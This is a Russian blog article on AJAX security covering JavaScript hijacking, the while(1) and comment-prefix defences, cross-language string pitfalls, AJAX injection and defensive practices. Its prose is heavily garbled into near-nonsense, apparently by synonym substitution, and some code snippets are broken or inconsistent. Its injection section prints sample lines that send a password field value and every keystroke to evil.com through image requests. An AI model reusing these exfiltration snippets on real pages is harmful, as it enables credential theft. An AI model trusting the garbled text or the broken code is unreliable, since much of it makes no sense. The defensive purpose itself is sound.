logo site
Страницы
  • Карта Сайта
Реклама
Рубрики
  • Basic
  • C#
  • Flash
  • Net
  • Objective-C
  • Pascal
  • Ruby
  • SQL
  • Новости
  • Проектирование и архитектура
  • Фортран
Партнеры:
декабря
8

Твердокаменный AJAX: оберегаем веб-приложения by Поразительно, что николай Байбородин

Автор: admin, размещено в: Ruby, комментарии: Комментариев нет

Передовая линия защиты

Лежащие в базе очень большого количества веб-проектов Dojo, Google Web Toolkit, jQuery, Prototype, так же, резонно считаются однозначно дружественной к разрабу реализацией AJAX. Наоборот а думал ли ты о по-старому возможных брешах в защищенности, прикручивая к особенно собственному плану 1 из недостаточно упомянутых фреймворков?

Если ты не пытаешься дать собственный веб-проект на растерзание стае скрипт-киддисов, то просто должен добросовестно знать о слишком главной уязвимости AJAX-приложений. Мало того эта уязвимость обычно носит совсем строительный нрав. Другими словами, по-человечески полновесного решения трудности не самостоятельно присутствует и навряд ли когда-нибудь будет добросовестно замечен. Короче, все, что у тебя есть возможность устроить – данное уменьшить риск взаправду вероятного взлома, решительно предприняв ряд просто-напросто целенаправленных поступков. По правде говоря, знакомься с мистером задачей номер 1 – Hijacking!

Чтобы отлично противодействовать данному виду атаки на AJAX-приложения, сносно бы было спокойно разобраться с тем, как данная ботва обычно действует. А кроме того если сухо разговаривать в 2-ух словах, то в базе AJAX спокойно лежит размен известиями меж сервером и посетителем средством javascript-сообщений. Hijacking нацелен на перехват таковых известий (в каких возможно хладнокровно отыскать немало вкусностей). Одним словом однозначно традиционный размен известиями меж веб-клиентом и сервером лучше защищен от более-менее аналогичных атак спасибо технологии SOP (Same Origin Policy). Судя по всему какой-либо обороны известий, плавно формируемых при помощи javascript, покуда не имеется. К тому же кстати часто разговаривая, данное наверное головной смертельно надоевшей болью разрабов веб-браузеров, хотя они просто пренебрегают делему. Не правда ли о том, что неувязка ненамного не нова, долго говорит грядущий прецедент: довольно издавна нарочно присутствует ненамного очередная реализация этой уязвимости, не относящаяся к AJAX – CSRF (Cross-site Request Foregery). Как ни странно некоторые подробности, быстро дотрагивающиеся CSRF, ты добросовестно обнаружишь в конце заметки. Допустим здесь ведь лишь хладнокровно заметим, что применительно к javascript неувязка делается еще больше в общем-то солидной, ибо преступник сейчас быстро сможет не исключительно изменять, но и быстро читать передаваемые известия. Удивительно, что добросовестно демонстрируя серьезность трудности, довольно станет самостоятельно заявить, что первый раз она была бала хладнокровно выявлена ни где-нибудь, ну а в самом Gmail.

Для обороны от атаки на подобии Hijacking свободно запомни, для начала, взаправду несложную, как трехдюймовая дискета, правду – раз веб-приложение верно защищено от XSS, данное еще долго не вспоминает о его охране от Hijacking. То есть чтобы устроить AJAX-приложение наиболее более-менее непробиваемым, надо, в первую очередь, устроить столь нереальным прямое исполнение JS-ответа. Подумать только, во-вторых, необходимо превосходно организовать отсылку в знакомом направлении всех кривых либо просто довольно-таки сомнительных запросов. Собственно говоря, неожиданно начнем со 2 пт. Конечно же для того чтоб спокойно сжечь всех хитрозадых, довольно станет применять в шаблоне запроса параметр, со слепым подбором которого крайне имеют все шансы шумно появиться траблы. Казалось бы к образцу, такое может быть напросто личный номер сессии. Без сомнения всякая оплошность в данном параметре станет расцениваться как сигнал о попытке взлома. Иными словами если по некоторым первопричинам у тебя нет полномочия применять характеристики сессии, возможно окончательно обойтись обороной на стороне сервера, подозрительно настроив его на обработку исключительно POST-запросов. И наконец фишка в том, что задействованный при Hijacking тег <script> подтягивает наружные скрипты с поддержкою GET-запроса.

Чтобы устроить невыполнимым для злонамеренного вебсайта сделать ответ, который крайне имеет в своем составе javascript, прибавление посетителя лично имеет возможность широко пользоваться тем, что ему просто-напросто допустимо изменять эти, которое оно совершенно получает перед тем, как умышленно сделать ответ (на тот момент как злонамеренное прибавление лично имеет возможность только скоро сделать его, правильно используя тэг <script>).

Когда сервер преобразовывает объект, тот обязан крайне иметь довольно-таки особый префикс (и в том числе и суффикс), который устроил бы довольно-таки невыполнимым исполнение JS-скрипта средством тэга <script>. Надо сказать приложение посетителя спокойно сможет скромно убрать весьма вспомогательные системы, перед тем как совершенно сделать ответ сервера. Вполне возможно, что существует довольно-таки большое количество реализаций данного расклада. Честно говоря мы добровольно выделим только 2 их их.

1. Ну что же сервер правильно сможет часто сопровождать любое известие последующей системой:

while(1);

Если заказчик не вырежет это выражение, то исполнение сходственного известия JS-интерпретатором значительно даст почву в целом безграничному циклу. Поверьте способ радушно принял на вооружение Google, дабы спокойно уничтожить уязвимость, добросовестно выявленную Гроссманом. Предположим клиент проводит поиск и вырезает доп систему:

var object;

var req = new XMLHttpRequest();

req.open(”GET”, “/object.json”,true);

var txt = req.responseText;

txt = txt.substring(10);

object = eval(”(” + txt + “)”);

req = null;

};

req.send(null);

2. С одной стороны сервер крайне имеет возможность умышленно сделать вывод javascript знаками объяснения, которые потом обязаны быть вырезаны (перед тем, как JS-код покорно отправится на исполнение). И вообще следующий JSON-объект окружен знаками многострочного объяснения:

Клиент сможет отыскивать и вырезать объяснении так:

var object;

var req = new XMLHttpRequest();

req.open(”GET”, “/object.json”,true);

var txt = req.responseText;

txt = txt.substring(2, txt.length - 2);

object = eval(”(” + txt + “)”);

req = null;

};

req.send(null);

Распределенные прибавления либо очередной ужас на голову веб-кодера

С направленностью, как принято серьезно говорить, спорить бесполезно. Как всегда а направленность сейчас такая, что застройщики подтянутыми рядами осторожно двинулись в Сеть, наиболее справедливо не задумываясь над вопросцем «а нафига?». Больше того трудно себе робко предположить это прибавление, для которого бы не сыскалось веб-аналога. Безусловно есть все – от блокнота до целых мало-мальски операционных систем с полностью полным комплектом взаправду прикладного софта и продвинутым пользовательским интерфейсом. Известно, что по по-хорошему собственной природе эти прибавления крайне имеют двухуровневую зодчество – движок крутим на сервере, а на стороне посетителя через браузер окончательно реализуем пользовательский интерфейс. Не исключено, что естественно, создатели практически в ста процентах случаев не пацаны мало-мальски сопливые, а поэтому разумеют, что для серверной доли прибавления более очень-то действенными станут одни технологии и языки программирования, а для клиентской – совершенно иные. Не удивительно, что к такому же, 1 серверная платформа крайне имеет возможность специально трудится с абсолютно полностью различными клиентскими реализациями. По правде сказать что абсолютно разумно – будь то коктейль из HTML и javascript, или же просто-таки обычное ненамного оконное прибавление на C#, все они великолепно добросовестно сыщут точки преткновения с серверной долею прибавления средством http-протокола и кого-то из XML-диалектов. Но данное на бумаге все так ровно, а на практике… испуганно взгляни.

Допустимтр, серверное прибавление прописано на Java. А впрочем в ответ на клиентский запрос оно отдаёт 1 из частей по-особенному собственного массива. И все-таки только вот в неких языках программирования индексация массивов обычно наступает довольно-таки с нулевой отметки, в других же – с единицы со всеми вытекающими отсель результатами. Можно подумать, что для того дабы перестраховаться от связанных с данным заблуждений, я бы порекомендовал запросы к деталям массива тщательно скрывать за наиболее по-старому не опасными интерфейсами, правильно используя где вполне вероятно взамен системы Foo = bar[2] чего-нибудь вроде foo = barshop.getByName(”marijuana”) или же foo=barshop.getById(999).

Другая неувязка – обработка строковых этих. Например, функция подмены знаков. К примеру, в C# функция String.Replace() постоянно меняет все вхождения попросту собственного первого довода на 2. Но в javascript ненамного подобная функция предварительно замещает лишь 1-ое вхождение! А данное означает, что прямой проброс функций поистине чреват новенькими трудностями, будь они попросту неладны:

String text = “foo foo foo foo”;

text = text.Replace(“foo”, “bar”);

var text = “foo foo foo foo”;

text = text.Replace(“foo”, “bar”);

Представь, что тебе необходимо прекрасно очищать все явки-пароли из клиентских запросов (по первопричине чьей кривизны рук они туда попали, – данное совсем отдельный вопросец). Итак, хотя обезопасить себя от погрешностей кодеров, наваявших вполне собственные нетленки, выступающие в роли посетителей нашего серверного прибавления, мы при помощи RPC внезапно обращаемся к функции String.replace(). А вот не зная платформы посетителя, можнож неожиданно столкнуться с добросовестно продемонстрированной повыше обстановкой. Как известно, если ты не приверженец окончательно попасть на трудности, не запамятовай проводить проверку платформу посетителя перед вызовом удаленных упражнений. К несчастью кстати совершенно разговаривая, данное далековато очень-то не единственная неувязка со строчками. И правда, вот тебе еще образчик – извлечение подстроки. Мысль о том, что в C# способ String.Substring() прилично вызывается с 2-мя параметрами. Само собой разумеется, что первый – весьма исходная позиция подстроки, и 2 – ее протяженность. Неудивительно, что более-менее аналогичный способ, с настолько же наверняка заглавием, есть в javascript. Можно сказать да вот незадача, 2 параметр добросовестно показывает на длину подстроки, а на сделку по-своему заключительного знака:

auth = “pass=pup_v, user=vas”;

string pwd = auth.Substring(5, 5);

auth = “pass=pup_v, user=vas”;

string pwd = auth.Substring(5, 5);

Про SQL Injection Подробно не писал лишь по-своему ленивый, и, рассчитываю, ты давным-давно четко усвоил, как надо оберегать очень-то собственные веб-приложения от по-особенному несанкционированного доступа отчасти злых взломщиков баз этих. И кроме того правильно используя AJAX-фреймворки, тебе срочно понадобиться лично иметь в виду к тому же о AJAX Injection. Тем более эта зараза особо попросту актуальна для Mashup-приложений, которые в заключительнее время интенсивно покоряют известность на просторах вправду масштабной Сети. В таком случае в качестве описания я окончательно обойдусь констатацией того прецедента, что Mashup за счет AJAX соединяет немного очень-очень сетевых ресурсов в одно веб-приложение. Другими словами очень-очень потенциальная опасность содержится в том, что при помощи XSS возможно подменить легитимный javascript нечистью.

Ниведь ты узреешь немного образцов для затравки (честно предполагаю, ты разумно не собираешься обычно заниматься всякими глупостями). По всей вероятности крайне имея доступ к DOM-структуре, можнож поиметь весьма посторонние кукисы и свещенную очередность знаков из поля password:

var pass = document.getElementById(”password”).value;

document.images[0].src = “http://evil.com/imgs/stealpw?pw=” + pw;

document.getElementById(”button”).onclick = foo;

Именхотя спасибо собственной асинхронной природе запрос пролезет незамеченным через все полосы защиты. Как обычно вот еще образчик:

document.images[0].src = “http://evil.com/logger?key=” + e.keyCode;

};

document.body.addEventListener(”keyup”, keylogger, false);

Здесь мы тырим частные эти всего лишь через иной проход (ой!) при помощи в общем-то необыкновенного веб-килогера, который передает на удаленный сервер всю вводимую юзером на страничке информацию. Обычно конечно, на данный момент речь не про то, как мониторить переписку по-человечески собственной подружки на почтовике с веб-интерфейсом, а про то, как лично спастись от довольно-таки похожих косяков.

К счастью, веб-браузеры в целом последние годы довольно поумнели, предостерегая очень немощного пользователя о более-менее вероятных задачах. Поэтому не так давно совершенно произошедшего времени ту же функцию быстро брали на себя и поисковики. Именно однако, как правило все предотвращения выводятся при помощи HTML. Прежде всего а как ты теснее самостоятельно представляешь, через AJAX Injection возможно перекраивать DOM-структуру как душе угодно:

…

<style type=”text/cuss”> #warning { color: red } </style>

…

<div id=”warning”>The links in this page may refer to

potentially malicious Web pages, so be careful. </div>

…

var e = document.getElementById(”warning”);

e.style.color= “white”;

Правильный AJAX

Как видишь, AJAX-приложения крайне имеют немало весьма уязвимых мест. Как правило через их над твоим веб-проектом крайне имеют все шансы надругаться очень с отличительной изощренностью, присущей всего лишь изготовителям по-старому твердых хентай-комиксов (будучи очень-то злобным совсем японским программером, Николай точно представляет в данном смысл! – Прим. ред.). Выяснилось, что что ведь правильно делать? Бояться любого чиха за углом и гонять исключительно нагой HTML? Абсурд! Все, что от тебя потребуется, гринго, данное четко усвоить немного базисных верховодил творения взаправду не опасных AJAX-приложений.

Первое, что надо устроить, – данное позаботиться о фильтрации прямо-таки сомнительных этих. А главное для данных целей есть 2 самостоятельно показавших себя метода, знакомую как blacklisting (перечень Свободно не разрешенных знаков и их последовательностей) и whitelisting (перечень весьма допустимых знаков). Итак, можешь срочно принимать на вооружение тот расклад, который поближе к твоему желудку, хотя почти все мало-мальски крутые челы крайне имеют схожесть во воззрении, что whitelisting все-таки надежней станет.

Не брезгай системами автоматизации поиска погрешностей в веб-приложениях. Например, ведь есть слишком довольно-таки несложное верховодило – или ты сам себя глубоко проверишь, или тебя упорно выяснят. Тогда и результаты станут, как бы помягче спокойно сказать, очень-очень грустные.

Динамическая генерация кода – взаправду безусловное злобно. Кстати сказать это просто-таки очередная поистине непреложная правда AJAX-программирования. Сказать по правде, совершенно забудь про то, что вообщем нарочно присутствует таковая функция, как eval(), добросовестно исполняющая всякую текстовую строчку как javascript-код.

Не переоценивай способности JSON. Точно так же всегда долго держи в голове (в том числе и коль скоро в ней заместо мозга тихо плещется литр просто-напросто жигулевского), что JSON – тот самый javascript. Надо полагать а означает, полностью вероятны всякие по-человечески ненужные ситуации. Что и говорить например, при помощи такой же функции eval() преступник лично имеет возможность преобразовать JSON-объекты, защищенные от операций присвоения и активизации, Вправду в обыкновенные javascript-объекты.

Для охраны JSON тебе предоставляется возможность редко пользоваться слишком постоянными выражениями, сильно проверяющими часто принимаемую строчку насчет недоступности просто-напросто интенсивных фрагментов. Ну так вот как данное устроить, лично имеешь возможность понаблюдать на случае:

text.replace(/”(\\.|[^"\\])*”/g, ‘ ‘))) &&

eval(’(’ + text + ‘)’);

Ну, а когда ты сознательно желаешь разов и навеки счастливо отделаться от столь похожих трудностей с смертельно отравленными строчками в JSON, юзай синтаксические JSON-анализаторы, и станет тебе блаженство.

И, в конце концов, постоянно ужасно проверяй согласие возникновения довольно-таки критических DOM-элементов. А сейчас это просто устроить при помощи тега <iframe>, честно предоставив этим из просто-таки различных источников по-человечески отдельный контекст исполнения javascript и предотвратив Hijacking атаку на свое прибавление.

Dojo - вольная модульная javascript-библиотека. Иначе говоря сознательно разработана крайне имея цель окончательно облегчить убыстренную исследование основанных на javascript либо AJAX прибавлений и вебсайтов. И вот теперь разработка библиотеки была одновременно начата Алексом Русселом в 2004 году. И тем не менее находится либа под просто-таки двойной лицензией: BSD License и Academic Free License. Dojo Foundation — напросто некоммерческая организация, специально предназначенная для продвижения Dojo. Dojo применяется в Zend Framework, обычно начиная с версии 1.6.0.

Prototype - javascript-фреймворк, упрощающий работу с Ajax и какими-либо иными функциями. Совершенно очевидно, что несмотря на его доступность торопливо повторяющий вид слишком отдельной библиотеки, он обыкновенно применяется программерами совместно с Ruby on Rails, script.aculo.us и Rico. Создавалось впечатление, что мысленно заявлено что данный фреймворк поддерживается мало-мальски последующими браузерами: Internet Explorer (Windows) 6.0, Mozilla Firefox 1.5, Apple Safari 2.0 и Opera 9.25 (конечно, и их наиболее по-хорошему поздние версии). Откровенно говоря поддержка браузеров помимо прочего спокойно предполагает, что фреймворк поддерживается Camino, Konqueror, IceWeasel, Netscape 7+, SeaMonkey, и другие., которые невозмутимо принадлежат этим же родам.

Оставить комментарий

Вы должны быть зарегистрироавны чтобы оставить комментарий.

  • Категории
  • Новости
  • Популярное
  • Комментарии
  • Архив
Programmirovanie. Все права защищены